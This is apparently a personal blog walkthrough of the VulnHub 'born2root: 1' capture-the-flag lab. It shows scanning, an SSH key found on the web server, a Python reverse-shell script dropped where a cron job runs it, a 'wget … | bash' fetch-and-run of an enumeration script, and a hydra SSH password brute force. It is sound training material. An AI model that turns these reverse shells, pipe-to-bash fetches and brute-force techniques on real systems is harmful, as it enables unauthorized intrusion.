John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

20 minute read

born2root Login Screen

Name       : born2root: 1
Difficulty : Intermediate
Type       : boot2root
Source     : VulnHub
URL        : https://www.vulnhub.com/entry/born2root-1,197/
Entry      : 13 / 30

Welcome to the walkthrough for born2root: 1, a boot2root CTF found on VulnHub. This is the thirteenth VM in my VulnHub Challenge! This is an intermediate machine, so roughly in-line with what I would expect with an OSCP-like machine.

Goal

There is a single flag in the /root directory that needs to be read read, so a fairly straightforward challenge.

Setup

I’m using VirtualBox to host Kali and the born2root: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment. VMWare Player is not compatible with this machinem hence the reason I’m switching back to Virtualbox.

Discovery

I use netdiscover to search for the IP address of the born2root: 1 VM:

root@kali:~# netdiscover -r 10.0.2.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.2.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.3        08:00:27:6b:0b:32      1      60  PCS Systemtechnik GmbH
 10.0.2.6        08:00:27:7e:5e:47      1      60  PCS Systemtechnik GmbH

Hmm, either 10.0.2.3 or 10.0.2.6 are our VMs. Let me do a quick nmap scan to see which one is more likely.

root@kali:~# nmap 10.0.2.3 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:52 EDT
Nmap scan report for 10.0.2.3
Host is up (0.00011s latency).
All 1000 scanned ports on 10.0.2.3 are filtered
MAC Address: 08:00:27:6B:0B:32 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.6
Host is up (0.00017s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC)

Nmap done: 2 IP addresses (2 hosts up) scanned in 0.30 seconds

That’s better. 10.0.2.6 is our target.

Scanning

I’ll start with a full TCP port scan with nmap, then follow it up with a full UDP scan using unicornscan just to make sure I don’t miss anything. Once I know what ports are up, I’ll do a deeper scan with nmap on any open ports.

root@kali:~# nmap -sS -p- 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:57 EDT
Nmap scan report for 10.0.2.6
Host is up (0.022s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
44290/tcp open  unknown
MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds

Next up, I’ll use unicornscan to do the UDP scan. I could use nmap, but I find unicornscan to be a lot faster.

root@kali:~# unicornscan -mU -Iv 10.0.2.6:a
adding 10.0.2.6/32 mode `UDPscan' ports `a' pps 300
using interface(s) eth0
scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 3 Minutes, 45 Seconds
UDP open 10.0.2.3:67  ttl 255
UDP open 10.0.2.6:111  ttl 64
sender statistics 244.8 pps with 65545 packets sent total
listener statistics 4 packets recieved 0 packets droped and 0 interface drops
UDP open                  bootps[   67]         from 10.0.2.3  ttl 255
UDP open                  sunrpc[  111]         from 10.0.2.6  ttl 64

Okay, so we have a few ports open on TCP and UDP, so let’s do a deeper scan on those ports with nmap:

root@kali:~# nmap -sT -sU -sC -sV -p U:67,111,T:22,80,111,44290 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 16:34 EDT
Nmap scan report for 10.0.2.6
Host is up (0.00047s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA)
|   2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA)
|   256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA)
|_  256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519)
80/tcp    open   http    Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/wordpress-blog /files
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title:  Secretsec Company
111/tcp   open   rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          44290/tcp  status
|_  100024  1          48546/udp  status
44290/tcp open   status  1 (RPC #100024)
67/udp    closed dhcps
111/udp   open   rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          44290/tcp  status
|_  100024  1          48546/udp  status
MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds

The main things jumping out at me are SSH and HTTP. Let’s try browsing to the website and see what’s up.

Website

Homepage

Pretty generic. From the nmap scan above, we see that the robots.txt file has two entries:

  • /files
  • /wordpress-blog

Let’s look at each of those:

`/files`

`/wordpress-blog`

Heh. A troll face. How original. Looking at the source for all of these pages, nothing jumps out at me. There is a commented out HTML section on the homepage, but it’s for a floating menu that links to anchors on the same page (which don’t exist), so that’s a bit of a red herring that I choose to ignore for now.

I think it’s time to try using gobuster on this site to see if there are any other hidden pages/directories:

root@kali:~# gobuster dir -f -x html -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.2.6/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.0.2.6/
[+] Threads:        50
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2019/07/24 21:20:28 Starting gobuster
===============================================================
/.htaccess/ (Status: 403)
/.htaccess.html (Status: 403)
/.hta/ (Status: 403)
/.hta.html (Status: 403)
/.htpasswd/ (Status: 403)
/.htpasswd.html (Status: 403)
/files/ (Status: 200)
/icons/ (Status: 200)
/manual/ (Status: 200)
/index.html (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/07/24 21:20:30 Finished
===============================================================

Breaking down the options for gobuster:

  • dir: work in directory busting mode, i.e. find files/directories of interest.
  • -f: adds a trailing forward-slash (/) to the URL. Useful for finding directories.
  • -x: looks for files with these extensions (comma-separated list). Sticking with html since there’s no indication of PHP on this VM.
  • -t: the number of threads to use (default is 10).
  • -w: the wordlist to use when brute forcing.
  • -u: the URL to start from.

From our gobuster output, we’re not seeing a whole lot. But you know what? We’ll check each finding anyway, since you never know what you may find. I’ll only focus no the links that returned HTTP 200, and ignore the ones I’ve already looked at. That gives me two URLs to check, http://10.0.2.6/manual/ and http://10.0.2.6/icons/. I’ll browse to both using Firefox and see what’s up.

/manual/

Okay, so the /manual/ URL looks pretty generic. Let’s try /icons/:

/icons/

Interesting! The VDSoyuAXiO.txt file is definitely out of place! Let’s pull it down using curl and see what it is. I like using curl instead of a browser here, since I don’t have to worry about the browser potentially hiding anything or interpreting any characters.

root@kali:~# curl http://10.0.2.6/icons/VDSoyuAXiO.txt

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC
tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J
4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+
-----END RSA PRIVATE KEY-----

Oh my! We have ourselves a nice private key! Great, but who’s key is it? Well, if we go back to the homepage for the site, there was a list of names in the About Us section, as well as an email address under Contact Us. I’d hazard a guess that the usernames for each person follow the same format as the email address, which means we have 3 possible users:

  1. martin
  2. hadi
  3. jimmy

SSH

I’ll download the private key using wget, pipe it through a few commands to skip the first and last lines of the file (they’re blank), change the file’s permissions to make SSH happy, and then finally use to to try to login with the three users to see who works! Phew!

root@kali:~# wget -qO - http://10.0.2.6/icons/VDSoyuAXiO.txt | tail -n +2 | head -n -1 > private.pem
root@kali:~# chmod 600 private.pem
root@kali:~# ssh -i private.pem martin@10.0.2.6

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun  9 20:31:29 2017 from 192.168.0.42

READY TO ACCESS THE SECRET LAB ?

secret password : password
WELCOME !
martin@debian:~$

Cool, so I’m in as martin! I did try both hadi and jimmy as well, but both prompted me for a password, so the key didn’t belong to them.

The prompt for the password to access the secret lab is a bit odd, and I just guessed at the password being password. I’m curious if that was a lucky guess or not, so I’ll take a look at the .bashrc file for martin:

martin@debian:~$ cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

...
<snip>
...
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi
/var/tmp/login.py

Ah, there it is. The last line in .bashrc for martin calls a Python script. Let’s see what’s in it:

martin@debian:~$ cat /var/tmp/login.py
#!/usr/bin/python

import os

print("")
print("READY TO ACCESS THE SECRET LAB ? ")
print("")
password = raw_input("secret password : ")

if (password) == "secretsec" or "secretlab" :
        print("WELCOME ! ")
else:
        print("GET OUT ! ")
        os.system("pkill -u 'martin'")

Well then, it seems that our “SecretSec” compatriots can’t program very well! The problem is in the if statement, and the way that Python handles Boolean values. The statement reads:

if (password) == "secretsec" or "secretlab" :

But this will always evaluate to true. Let me show you what it looks like with a few more parenthesis:

if ((password) == "secretsec") or ("secretlab") :

So the first part of the if statement is checking to see if the password I provided is secretsec, but the second part is just checking whether or not secretlab is true or not. According to the Python documentation1:

In the context of Boolean operations, and also when expressions are used by control flow statements, the following values are interpreted as false: False, None, numeric zero of all types, and empty strings and containers (including strings, tuples, lists, dictionaries, sets and frozensets). All other values are interpreted as true.

So in other words, because "secretlab" is a non-empty string, it will evaluate to true, which means the entire if statement will be true. Remember, anything OR true will always result in true. Oh SecretSec, perhaps you’re good at testing, but you are not good at coding!

Enumeration - Thwarted!

Let me run the LinEnum.sh script and see what’s going on. I’ll setup a SimpleHTTPServer on my Kali machine, then use wget to download it on the target machine, pipe it to bash, then review the output.

martin@debian:~$ wget -qO - http://10.0.2.4/LinEnum.sh | bash
bash: ligne 1: HAHA : commande introuvable
martin@debian:~$

Wait, what?! It seems like I cannot use wget! curl gives me the same error. Let me do some digging:

martin@debian:~$ which wget
/usr/bin/wget
martin@debian:~$ file /usr/bin/wget
/usr/bin/wget: Python script, ASCII text executable
martin@debian:~$ cat /usr/bin/wget
#!/usr/bin/python

print(" HAHA ... Nope ")

martin@debian:~$ cat /usr/bin/curl
#!/usr/bin/python

print(" HAHA ... Nope ")

martin@debian:~$

Just when I thought they couldn’t code, SecretSec showed me up! That’s fine, I’ll use scp to transfer the file to the target and run it manually.

Enumeration - Redux

root@kali:/opt/LinEnum# scp -i ~/private.pem LinEnum.sh martin@10.0.2.6:/tmp
LinEnum.sh                                        100%   45KB  10.0MB/s   00:00

When I review the output of LinEnum.sh, I generally look for a few key things:

  1. What users are available?
  2. Do any of them have sudo privileges?
  3. Are there any SUID/SGID binaries?
  4. What files are accessible/writeable to my user that may be interesting?

Scanning through the output on the born2root machine, I find the following:

  • The system is running Debian 8 (jessie), Kernel 3.16.0-4-586
  • hadi, jimmy, and martin are all valid users, and I have access to /home/hadi (read-only)
  • /home/hadi/ has some interesting files in it that may be worth exploring; looks to be buffer overflow testing

What’s hadi Doing

Let’s see what’s available in /home/hadi/:

martin@debian:~$ cd /home/hadi
martin@debian:/home/hadi$ ls -al
total 60
drwxr-xr-x 3 hadi hadi 4096 juin   5  2017 .
drwxr-xr-x 5 root root 4096 juin   9  2017 ..
-rw-r--r-- 1 hadi hadi  220 avril 26  2017 .bash_logout
-rw-r--r-- 1 hadi hadi 3515 avril 26  2017 .bashrc
-rwxr-xr-x 1 root root 5368 mai   10  2017 buff
-rw-r--r-- 1 root root 1091 mai   10  2017 buff.c
-rw-r--r-- 1 root root  148 juin   5  2017 example.c
-rw------- 1 root root 2073 juin   5  2017 .gdb_history
-rwxr-xr-x 1 root root 6000 juin   5  2017 overflow
-rw-r--r-- 1 root root   19 mai   10  2017 peda-session-buff.txt
-rw-r--r-- 1 root root    5 juin   5  2017 peda-session-overflow.txt
-rw-r--r-- 1 hadi hadi  675 avril 26  2017 .profile
drwxr-xr-x 2 hadi hadi 4096 mai    1  2017 .ssh
martin@debian:/home/hadi$

So after spending a few minutes poking around this area, it doesn’t appear that there’s anything of value here. I go back for a second look at the output of LinEnum.sh and something catches my eye:

...
<snip>
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5   * * * *   jimmy   python /tmp/sekurity.py
...
<snip>

There’s an entry for a /tmp/sekurity.py file, but I checked and no such file exists. Well then, we have an opportunity! Let’s go checkout the reverse shell cheat sheet! There’s an entry for Python, so I’ll whip up a shell that I can use to call back to a nc listener on port 9001 on my attacking machine.

#!/usr/bin/python

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

With my nc listener setup, I wait for a connection:

Hi jimmy

root@kali:~# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.0.2.4] from (UNKNOWN) [10.0.2.6] 36114
/bin/sh: 0: can't access tty; job control turned off
$ ls
networker
$ whoami
jimmy
$ pwd
/home/jimmy
$ ls -al
total 32
drwx------ 2 jimmy jimmy 4096 juin   9  2017 .
drwxr-xr-x 5 root  root  4096 juin   9  2017 ..
-rw-r--r-- 1 root  root    16 juin   9  2017 .bash_history
-rw-r--r-- 1 jimmy jimmy  220 juin   8  2017 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3515 juin   8  2017 .bashrc
-rwsrwxrwx 1 root  root  7496 juin   9  2017 networker
-rw-r--r-- 1 jimmy jimmy  675 juin   8  2017 .profile
$

Cool, we’re logged in as jimmy and there is a file called networker that’s owned by root and also has the SUID bit set! That’s likely our ticket into escalating our privileges. Let me see what type of file it is:

$ file networker
networker: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bacc02fa5747f07430f55e0d5e70d4078800c9f5, not stripped

So it’s an ELF binary. Let’s try executing and see what it does:

$ ./networker
eth0      Link encap:Ethernet  HWaddr 08:00:27:7e:5e:47  
          inet adr:10.0.2.6  Bcast:10.0.2.255  Masque:255.255.255.0
          adr inet6: fe80::a00:27ff:fe7e:5e47/64 Scope:Lien
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6245 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4353 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:1000
          RX bytes:604193 (590.0 KiB)  TX bytes:775700 (757.5 KiB)
          Interruption:9 Adresse de base:0xd020

lo        Link encap:Boucle locale  
          inet adr:127.0.0.1  Masque:255.0.0.0
          adr inet6: ::1/128 Scope:Hôte
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0
          RX bytes:672 (672.0 B)  TX bytes:672 (672.0 B)

PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.014 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms
echo linux tool version 5
*** Networker 2.0 ***
Done
 $

The Rabbit Hole

tl;dr The networker binary is a lie. There isn’t anything in it that is helpful. It doesn’t take any input, it doesn’t open any ports, and the paths are all hard-coded. I’m sure there’s a way to edit the binary to add our own custom shell code to it, but I don’t have my OSCE yet and this is supposed to be an intermediate difficulty VM, so I’m not about go try and deal with that.

Instead, I’m going to go back to my OSCP training and try some good old fashioned brute forcing on our last user, `hadi1.

Password Fun With cewl and john

A quick recap:

  • We have logged in to two of the three accounts
  • There are false flags and rabbit holes all over the place
  • We have a website that does not have any vulnerabilities
  • We have an SSH server that we can use to log in as a single user with a private SSH key, but that’s it

So we’ve logged in as martin and managed to get a reverse shell to jimmy. There was an executable for jimmy that lead nowhere. The /home/hadi directory had some other entries in it, but nothing of value. One thing that did stick out to me was the fact that the /home/hadi/gdb_history file was owned by root, so I suspect we can use hadi to get to root and finish this beast off. The question is how?

For this one I’m going to turn to what we have, which is a website. I’ll use a few tricks to generate a custom wordlist for brute forcing. Since I want to use hydra for brute forcing SSH, I don’t want a huge wordlist like rockyou.txt or I’ll be waiting for a while. Instead, I’ll do two things:

  1. Generate a seed wordlist using cewl
  2. Mutate that wordlist using john to get some new combinations

Let’s start with the first step, namely generating a wordlist with cewl:

root@kali:~# cewl -w secretsec.txt http://10.0.2.6
CeWL 5.4.4.1 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
root@kali:~#

Now we have a nice basic list for the site, let’s mutate it using john. Before I do that, I want to add a few extra rules to john. I edit the /etc/john/john.conf file and add the following to the [List.Rules:Wordlist] section:

...
<snip>
 Lowercase/capitalize pure alphabetic words of reasonable length and convert:
# crack -> cracked, crack -> cracking
-[:c] <* >2 !?A \p1[lc] M [PI] Q
# Try the second half of split passwords
-s x**
-s-c x** M l Q
# Add one number to the end of each password
$[0-9]
# Add two numbers to the end of each password
$[0-9]$[0-9]
# Add three numbers to the end of each password
$[0-9]$[0-9]$[0-9]
# Add four numbers to the end of each password
#$[0-9]$[0-9]$[0-9]$[0-9]
...
<snip>

To be clear, I’ve added the rules to add extra digits to the end of the passwords, because people tend to include digits. I go up to 3 digits here just to keep things somewhat sane. With 4 digits I’m adding another 10k possibilities, which is rather excessive for an SSH brute force.

For more information on using john to mutate wordlists, take a look at this article from Rapid 7 which explains this process fairly well. I just added my rules to the main Wordlists ruleset because I’m lazy.

Once the secretsec.txt file has been updated, it’s time to use john to mutate it:

root@kali:~# john --wordlist=secretsec.txt --rules --stdout > secretsec-mutated.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
70763p 0:00:00:00 100.00% (2019-10-03 15:51) 1769Kp/s jimmy999

To give you an idea of how many permutations this created, we started with 61 words in secretsec.txt and 70763 words in secretsec-mutated.txt!

Now I’m not going to lie, that’s a bloody huge file and it will take me days to go through it with hydra. Let me take a different approach and try something simple. I’ll go with the standard passwords for CTFs, namely the username and any other passwords I may have found. That would be secretsec and secretlab from the Python script that ran when martin first logged on, plus hadi and password. There’s also the filename that had the private key for martin in it, VDSoyuAXiO. I did test that one separately with all three accounts, but no luck. I guess we’ll have to go with our brute forcing plan once we generate the mutated word list.

root@kali:~# john --wordlist=passwords.txt --rules --stdout > passwords-mutated.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
4638p 0:00:00:00 100.00% (2019-10-03 19:07) 77300p/s password999
root@kali:~# echo "VDSoyuAXiO" >> passwords-mutated.txt
root@kali:~# wc -l passwords-mutated.txt
4638 passwords-mutated.txt

Time For hydra

Okay, just over 4.6k words, which is going to take some time but at least it won’t span days. It’s still going to take a while, especially since hydra doesn’t recommend using more than 4 threads at a time for SSH, but we’ll let it run.

root@kali:~# hydra -t 4 -l hadi -P passwords-mutated.txt 10.0.2.6 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal pu
rposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-03 19:08:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4638 login tries (l:1/p:4638), ~1160 tries per task
[DATA] attacking ssh://10.0.2.6:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 4594 to do in 01:45h, 4 active
[STATUS] 34.67 tries/min, 104 tries in 00:03h, 4534 to do in 02:11h, 4 active
[STATUS] 29.14 tries/min, 204 tries in 00:07h, 4434 to do in 02:33h, 4 active
[STATUS] 29.60 tries/min, 444 tries in 00:15h, 4194 to do in 02:22h, 4 active
[STATUS] 28.61 tries/min, 887 tries in 00:31h, 3751 to do in 02:12h, 4 active
[22][ssh] host: 10.0.2.6   login: hadi   password: hadi123
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-03 19:48:26

Okay, so that wasn’t as bad as I was expecting. A little under an hour, but still quite a while to wait for a brute force attack. I shutter to think how long it would have taken if I had used by original cewl list!

Escalation and Flag

Let’s try SSHing to the target as hadi with the password hadi123:

root@kali:~# ssh hadi@10.0.2.6
hadi@10.0.2.6's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  7 20:53:17 2017
hadi@debian:~$ su -
Mot de passe :
root@debian:~# pwd
/root
root@debian:~# ls
flag.txt

And taking a look at the flag:

root@debian:~# cat flag.txt

,-----.                         ,---. ,------.                 ,--.
|  |) /_  ,---. ,--.--.,--,--, '.-.  \|  .--. ' ,---.  ,---. ,-'  '-.
|  .-.  \| .-. ||  .--'|      \ .-' .'|  '--'.'| .-. || .-. |'-.  .-'
|  '--' /' '-' '|  |   |  ||  |/   '-.|  |\  \ ' '-' '' '-' '  |  |
`------'  `---' `--'   `--''--''-----'`--' '--' `---'  `---'   `--'


Congratulations ! you  pwned completly Born2root's CTF .

I hope you enjoyed it and you have made Tea's overdose or coffee's overdose :p

I have blocked some easy ways to complete the CTF ( Kernel Exploit ... ) for give you more fun and more knownledge ...

Pwning the box with a linux binary misconfiguration is more fun than with a Kernel Exploit !

Enumeration is The Key .



Give me feedback :[FB] Hadi Mene

So the kernel exploit I was thinking of earlier wouldn’t have worked. That’s fine, I wasn’t planning on using it but I’m also glad I didn’t waste my time. Enumeration may have been the key, but I had no reason to believe that hadi123 was going to be the password. Lots of dead ends on this CTF which made it more annoying than anything. But there you have it, another CTF complete.

Fin.

comments powered by Disqus

Recent posts

See more

Categories

About

Hi. I'm John, and I'm an Information Security Generalist.